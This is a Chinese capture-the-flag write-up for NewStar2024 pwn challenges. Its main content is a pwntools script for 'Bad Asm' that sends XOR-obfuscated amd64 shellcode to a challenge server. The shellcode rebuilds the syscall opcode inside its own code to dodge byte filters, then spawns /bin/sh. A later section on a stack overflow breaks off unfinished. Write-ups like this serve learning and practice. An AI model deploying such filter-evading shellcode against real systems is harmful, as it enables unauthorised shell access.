NewStar2024 pwn
zach0ry

week2

Bad Asm

image-20250815191735789

所以通过编写汇编代码来写这段shellcode

通过异或等操作来绕过不能有00以及syscall 或 sysenter 指令汇编码的限制

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

context.log_level='debug'
context(arch='amd64', os='linux')
context.terminal=['tmux', 'splitw', '-h']

ELFpath = './pwn'
p = remote('192.168.137.1', 40273)


shellcode='''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi #rsp指向dest(sellcode)的头部
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop,任意一个可读写段即可,我们这里刚好有rdi中存储的 shellcode 的段的起始位置,正好这个段有读写权限,就直接拿来在 0x848 偏移的位置当作栈顶了(加偏移是为了防止某些操作破坏写入的 shellcode)
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来'/bin/sh\x00'(正好 8 字节,一个寄存器能存下) 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置

mov ax, 0x454f
xor ax, 0x4040
mov rsi, rdi
add sil, 0x40
mov [rsi], ax ; // 搓出来 syscall 的机器码 0f 05 并且拼接到当前 shellcode 后面。

mov rdi, rsp ; // 设置 rdi,指向之前 push 到栈上面的 '/bin/sh\x00'
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; // 设置 execve 的系统调用号
'''
p.sendafter("Input your Code :", asm(shellcode).ljust(0x40, b'\x90'))
p.interactive()

Ez_fmt

Inverted World

image-20250816214932074

此时刚执行call read函数,因为是64位的程序参数是通过寄存器准备的

mov rsi, rax

mov edx, 0x512等

这些指令是在 call _read之前执行,它们将参数值放入相应的寄存器中,所以接下来要压入read函数的返回地址

看rip的地址,应为这个是

计算距离应该填充